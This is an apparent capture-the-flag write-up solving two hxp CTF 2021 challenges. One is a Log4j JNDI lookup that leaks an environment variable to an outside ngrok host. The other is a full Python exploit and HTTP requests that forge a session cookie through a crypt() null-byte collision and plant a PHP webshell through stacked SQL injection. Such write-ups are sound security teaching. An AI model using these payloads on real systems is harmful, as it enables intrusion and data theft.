hxp CTF 2021
Challenge | Category | Points |
|---|---|---|
Misc | | |
Web | |
Log 4 sanity check-9afb8a24feb86db1.tar.xz
2MB
Binary
We could see that the vulnerable
log4j library is used to log the user input when it is "wrong"./* Decompiler 2ms, total 1137ms, lines 28 */
import java.util.Scanner;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Vuln {
public static void main(String[] var0) {
try {
Logger var1 = LogManager.getLogger(Vuln.class);
System.out.println("What is your favourite CTF?");
String var2 = (new Scanner(System.in)).next();
if (var2.toLowerCase().contains("dragon")) {
System.out.println("<3");
System.exit(0);
}
if (var2.toLowerCase().contains("hxp")) {
System.out.println(":)");
} else {
System.out.println(":(");
var1.error("Wrong answer: {}", var2);
}
} catch (Exception var3) {
System.err.println(var3);
}
}
}
I wasn't able to get full-on RCE, but information disclosure through this vector was sufficient! We could use
${env:FOO} to substitute the FOO environment variable into the URI.$ ~ nc 65.108.176.77 1337
What is your favourite CTF?
${jndi:ldap://8.tcp.ngrok.io:16804/${env:FLAG}}
:(
We just have to start an LDAP server and listen for the queried URI.
hxp{Phew, I am glad I code everything in PHP anyhow :) - :( :( :(}shitty blog 🤎-a6c0b8b672817005.tar.xz
19KB
Binary
We could see that when inserting entries, the
user_id is not validated. This is also directly substituted into the SQL query, allowing an SQL injection.Interestingly,
get_user uses $db->query, while delete_entry uses $db->exec. The exec() function allows multiline (stacked) queries, allowing us to use this RCE payload to upload a webshell.function get_user($db, $user_id) : string {
foreach($db->query("SELECT name FROM user WHERE id = {$user_id}") as $user) {
return $user['name'];
}
return 'me';
}
...
function delete_entry($db, $entry_id, $user_id) {
$db->exec("DELETE from entry WHERE {$user_id} <> 0 AND id = {$entry_id}");
}
...
if(isset($_POST['content'])) {
insert_entry($db, htmlspecialchars($_POST['content']), $id);
header('Location: /');
exit;
}
$entries = get_entries($db);
if(isset($_POST['delete'])) {
foreach($entries as $key => $entry) {
if($_POST['delete'] === $entry['id']){
delete_entry($db, $entry['id'], $entry['user_id']);
break;
}
}
header('Location: /');
exit;
}
The difficulty lies in bypassing the following validation to insert a custom
$id from the session cookie.$secret = 'SECRET_PLACEHOLDER';
$salt = '$6$'.substr(hash_hmac('md5', $_SERVER['REMOTE_ADDR'], $secret), 16).'$';
if(! isset($_COOKIE['session'])){
$id = random_int(1, PHP_INT_MAX);
$mac = substr(crypt(hash_hmac('md5', $id, $secret, true), $salt), 20);
}
else {
$session = explode('|', $_COOKIE['session']);
if( ! hash_equals(crypt(hash_hmac('md5', $session[0], $secret, true), $salt), $salt.$session[1])) {
exit();
}
$id = $session[0];
$mac = $session[1];
}
Notice that in
hash_hmac(), binary=true is set but crypt() is not binary safe - the function only processes the input string up to a null byte terminator!It would therefore be trivial to find two
$id numbers that produce the same $mac by bruteforcing - this happens when hash_hmac() returns a result starting with \x00.def find_collision():
"""
Find an instance where two IDs produce '\x00' at the beginning of the hash_hmac() output,
resulting in crypt(), which is a non binary safe function, returning the same value.
Returns the MAC that corresponds to this result.
"""
results = {}
while True:
r = requests.get(URL)
cookie = r.headers['Set-Cookie'].split('=')[1]
cookie = urllib.parse.unquote(cookie)
id, mac = cookie.split('|')
print(id, mac)
if mac in results:
return mac
results[mac] = id
Since this
$mac corresponds to the case where hash_hmac() returns a result starting with \x00, we would be able to bypass the following validation by using this $mac value in our session cookie, while changing the $id value in our session cookie until its HMAC starts with \x00.hash_equals(crypt(hash_hmac('md5', $session[0], $secret, true), $salt), $salt.$session[1])
This can be done by appending different things to the end of the payload (after an SQL comment) until we get a valid value. This value will produce a
crypt() result corresponding to the $mac found previously.def find_exploit_collision(exploit, mac):
"""
Finds a collision with the exploit user ID string. Appends stuff to the back of the string until
the hash_hmac() output begins with '\x00'.
"""
i = 0
exploit = urllib.parse.quote_plus(exploit).replace('+', ' ')
while True:
print(i)
tmp = exploit + str(i)
# Test if the hash_hmac() output begins with '\x00' (if it does, then the MAC is valid)
r = requests.get(URL, cookies={'session': tmp + '|' + mac})
if "My shitty Blog" in r.text:
return tmp
i += 1
The full script to generate the exploit payload is as follows:
import requests
import urllib.parse
URL = "http://65.108.176.96:8888/"
def find_collision():
"""
Find an instance where two IDs produce '\x00' at the beginning of the hash_hmac() output,
resulting in crypt(), which is a non binary safe function, returning the same value.
Returns the MAC that corresponds to this result.
"""
results = {}
while True:
r = requests.get(URL)
cookie = r.headers['Set-Cookie'].split('=')[1]
cookie = urllib.parse.unquote(cookie)
id, mac = cookie.split('|')
print(id, mac)
if mac in results:
return mac
results[mac] = id
def find_exploit_collision(exploit, mac):
"""
Finds a collision with the exploit user ID string. Appends stuff to the back of the string until
the hash_hmac() output begins with '\x00'.
"""
i = 0
exploit = urllib.parse.quote_plus(exploit).replace('+', ' ')
while True:
print(i)
tmp = exploit + str(i)
# Test if the hash_hmac() output begins with '\x00' (if it does, then the MAC is valid)
r = requests.get(URL, cookies={'session': tmp + '|' + mac})
if "My shitty Blog" in r.text:
return tmp
i += 1
# mac = find_collision()
mac = "QAhL.MoHxwRM3Bt/pMvSrjxnRCAxaim7VAtMVwCnNgsjtlWO3AKBcd1WY9NYPrxtUrTluTorPK4laJKcJydWB0"
print(f"Found MAC: {mac}")
exploit = find_exploit_collision("20 or 1=1; ATTACH DATABASE '/var/www/html/data/nice.php' AS lol; CREATE TABLE lol.pwn (dataz text); INSERT INTO lol.pwn (dataz) VALUES ('<?php system($_GET[\"cmd\"]); ?>');#", mac)
print(f"Found exploit: {exploit}")
print(f"Set session cookie: {exploit}|{mac}")
Once we obtain the payload, we first have to create an entry with the malicious user ID payload.
POST / HTTP/1.1
Host: 65.108.176.96
Cookie: session=20 or 1%3D1%3B ATTACH DATABASE %27%2Fvar%2Fwww%2Fhtml%2Fdata%2Fnice.php%27 AS lol%3B CREATE TABLE lol.pwn %28dataz text%29%3B INSERT INTO lol.pwn %28dataz%29 VALUES %28%27%3C%3Fphp system%28%24_GET%5B%22cmd%22%5D%29%3B %3F%3E%27%29%3B%23178|QAhL.MoHxwRM3Bt/pMvSrjxnRCAxaim7VAtMVwCnNgsjtlWO3AKBcd1WY9NYPrxtUrTluTorPK4laJKcJydWB0
Connection: close
Content-Length: 12
content=test
Next, we simply delete the created entry. This is when the user ID payload is substituted into the SQL query, causing a PHP file to be created.
POST / HTTP/1.1
Host: 65.108.176.96
Cookie: session=20 or 1%3D1%3B ATTACH DATABASE %27%2Fvar%2Fwww%2Fhtml%2Fdata%2Fnice.php%27 AS lol%3B CREATE TABLE lol.pwn %28dataz text%29%3B INSERT INTO lol.pwn %28dataz%29 VALUES %28%27%3C%3Fphp system%28%24_GET%5B%22cmd%22%5D%29%3B %3F%3E%27%29%3B%23178|QAhL.MoHxwRM3Bt/pMvSrjxnRCAxaim7VAtMVwCnNgsjtlWO3AKBcd1WY9NYPrxtUrTluTorPK4laJKcJydWB0
Connection: close
Content-Length: 12
content=test
Next, we simply have to visit our webshell to get the flag.
GET /data/nice.php?cmd=/readflag HTTP/1.1
Host: 65.108.176.96:8888
Cookie: session=20 or 1%3D1%3B ATTACH DATABASE %27%2Fvar%2Fwww%2Fhtml%2Fdata%2Fnice.php%27 AS lol%3B CREATE TABLE lol.pwn %28dataz text%29%3B INSERT INTO lol.pwn %28dataz%29 VALUES %28%27%3C%3Fphp system%28%24_GET%5B%22cmd%22%5D%29%3B %3F%3E%27%29%3B%23598|dW8W.oyZd9VSfcnVaiWE2c8pYNHaOyXhBIzpXc2TTCPlPzvRdcHvMA8..6O2AftmrQYa287BZgFsLd9/Ki0ik/
Connection: close
hxp{dynamically_typed_statically_typed_php_c_I_hate_you_all_equally__at_least_its_not_node_lol_:(}Last modified 10mo ago